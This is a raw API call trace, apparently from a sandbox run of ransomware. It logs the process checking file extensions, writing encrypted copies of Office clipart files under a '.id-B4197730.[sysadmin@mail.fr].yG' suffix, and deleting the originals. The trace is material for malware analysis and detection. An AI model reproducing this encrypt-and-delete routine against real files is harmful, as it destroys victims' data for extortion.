	[0153.597] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x5320, lpOverlapped=0x0) returned 1
	[0153.599] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.599] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.599] SetEndOfFile (hFile=0x554) returned 1
	[0153.599] CloseHandle (hObject=0x554) returned 1
	[0153.599] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.599] SetEndOfFile (hFile=0x544) returned 1
	[0153.606] CloseHandle (hObject=0x544) returned 1
	[0153.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0153.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.610] lstrlenW (lpString=".doc") returned 4
	[0153.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString=".docx") returned 5
	[0153.610] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0153.610] lstrlenW (lpString=".pdf") returned 4
	[0153.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString=".xls") returned 4
	[0153.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.610] lstrlenW (lpString=".xlsx") returned 5
	[0153.610] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0153.610] lstrlenW (lpString=".ppt") returned 4
	[0153.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.610] lstrlenW (lpString=".zip") returned 4
	[0153.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.610] lstrlenW (lpString=".rar") returned 4
	[0153.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString=".bz2") returned 4
	[0153.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString=".7z") returned 3
	[0153.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.610] lstrlenW (lpString=".dbf") returned 4
	[0153.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.610] lstrlenW (lpString=".1cd") returned 4
	[0153.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.611] lstrlenW (lpString=".jpg") returned 4
	[0153.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.611] lstrlenW (lpString=".doc") returned 4
	[0153.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString=".docx") returned 5
	[0153.611] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0153.611] lstrlenW (lpString=".pdf") returned 4
	[0153.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString=".xls") returned 4
	[0153.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.611] lstrlenW (lpString=".xlsx") returned 5
	[0153.611] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0153.611] lstrlenW (lpString=".ppt") returned 4
	[0153.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.611] lstrlenW (lpString=".zip") returned 4
	[0153.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.611] lstrlenW (lpString=".rar") returned 4
	[0153.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString=".bz2") returned 4
	[0153.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.611] lstrlenW (lpString=".7z") returned 3
	[0153.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.612] lstrlenW (lpString=".dbf") returned 4
	[0153.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.612] lstrlenW (lpString=".1cd") returned 4
	[0153.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0153.612] lstrlenW (lpString=".jpg") returned 4
	[0153.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.612] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.612] lstrlenW (lpString="J0090087.WMF") returned 12
	[0153.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.613] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=46936) returned 1
	[0153.613] CloseHandle (hObject=0x544) returned 1
	[0153.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220
	[0153.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0153.614] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.614] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0153.615] GetLastError () returned 0x0
	[0153.615] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xb758, lpOverlapped=0x0) returned 1
	[0153.749] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xb760, lpOverlapped=0x0) returned 1
	[0153.751] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.751] WriteFile (in: hFile=0x554, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.751] SetEndOfFile (hFile=0x554) returned 1
	[0153.751] CloseHandle (hObject=0x554) returned 1
	[0153.751] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.751] SetEndOfFile (hFile=0x544) returned 1
	[0153.755] CloseHandle (hObject=0x544) returned 1
	[0153.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0154.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.162] lstrlenW (lpString=".doc") returned 4
	[0154.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.162] lstrlenW (lpString=".docx") returned 5
	[0154.162] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0154.162] lstrlenW (lpString=".pdf") returned 4
	[0154.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.162] lstrlenW (lpString=".xls") returned 4
	[0154.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.162] lstrlenW (lpString=".xlsx") returned 5
	[0154.162] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0154.162] lstrlenW (lpString=".ppt") returned 4
	[0154.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.162] lstrlenW (lpString=".zip") returned 4
	[0154.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.162] lstrlenW (lpString=".rar") returned 4
	[0154.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.162] lstrlenW (lpString=".bz2") returned 4
	[0154.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.162] lstrlenW (lpString=".7z") returned 3
	[0154.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.162] lstrlenW (lpString=".dbf") returned 4
	[0154.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.163] lstrlenW (lpString=".1cd") returned 4
	[0154.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.163] lstrlenW (lpString=".jpg") returned 4
	[0154.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.163] lstrlenW (lpString=".doc") returned 4
	[0154.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString=".docx") returned 5
	[0154.163] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0154.163] lstrlenW (lpString=".pdf") returned 4
	[0154.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString=".xls") returned 4
	[0154.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.163] lstrlenW (lpString=".xlsx") returned 5
	[0154.163] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0154.163] lstrlenW (lpString=".ppt") returned 4
	[0154.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.163] lstrlenW (lpString=".zip") returned 4
	[0154.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.164] lstrlenW (lpString=".rar") returned 4
	[0154.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.164] lstrlenW (lpString=".bz2") returned 4
	[0154.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.164] lstrlenW (lpString=".7z") returned 3
	[0154.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.164] lstrlenW (lpString=".dbf") returned 4
	[0154.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.164] lstrlenW (lpString=".1cd") returned 4
	[0154.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0154.164] lstrlenW (lpString=".jpg") returned 4
	[0154.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.164] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0154.164] lstrlenW (lpString="J0093905.WMF") returned 12
	[0154.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0154.442] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=42050) returned 1
	[0154.442] CloseHandle (hObject=0x388) returned 1
	[0154.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220
	[0154.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0154.443] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.443] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0154.444] GetLastError () returned 0x0
	[0154.444] ReadFile (in: hFile=0x388, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xa442, lpOverlapped=0x0) returned 1
	[0154.448] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xa450, lpOverlapped=0x0) returned 1
	[0154.449] ReadFile (in: hFile=0x388, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.449] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.450] SetEndOfFile (hFile=0x51c) returned 1
	[0154.450] CloseHandle (hObject=0x51c) returned 1
	[0154.450] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.450] SetEndOfFile (hFile=0x388) returned 1
	[0154.908] CloseHandle (hObject=0x388) returned 1
	[0154.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.917] lstrlenW (lpString=".doc") returned 4
	[0154.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.917] lstrlenW (lpString=".docx") returned 5
	[0154.917] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0154.917] lstrlenW (lpString=".pdf") returned 4
	[0154.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.917] lstrlenW (lpString=".xls") returned 4
	[0154.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.917] lstrlenW (lpString=".xlsx") returned 5
	[0154.917] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0154.917] lstrlenW (lpString=".ppt") returned 4
	[0154.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.917] lstrlenW (lpString=".zip") returned 4
	[0154.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.917] lstrlenW (lpString=".rar") returned 4
	[0154.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.917] lstrlenW (lpString=".bz2") returned 4
	[0154.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.917] lstrlenW (lpString=".7z") returned 3
	[0154.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString=".dbf") returned 4
	[0154.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString=".1cd") returned 4
	[0154.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString=".jpg") returned 4
	[0154.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString=".doc") returned 4
	[0154.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString=".docx") returned 5
	[0154.918] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0154.918] lstrlenW (lpString=".pdf") returned 4
	[0154.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString=".xls") returned 4
	[0154.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.918] lstrlenW (lpString=".xlsx") returned 5
	[0154.918] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0154.918] lstrlenW (lpString=".ppt") returned 4
	[0154.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.918] lstrlenW (lpString=".zip") returned 4
	[0154.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.918] lstrlenW (lpString=".rar") returned 4
	[0154.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.918] lstrlenW (lpString=".bz2") returned 4
	[0154.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.919] lstrlenW (lpString=".7z") returned 3
	[0154.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.919] lstrlenW (lpString=".dbf") returned 4
	[0154.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.919] lstrlenW (lpString=".1cd") returned 4
	[0154.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0154.919] lstrlenW (lpString=".jpg") returned 4
	[0154.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.919] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0154.919] lstrlenW (lpString="J0099154.JPG") returned 12
	[0154.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.920] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6929) returned 1
	[0154.920] CloseHandle (hObject=0x52c) returned 1
	[0154.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0154.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.921] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.921] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0154.922] GetLastError () returned 0x0
	[0154.922] ReadFile (in: hFile=0x52c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1b11, lpOverlapped=0x0) returned 1
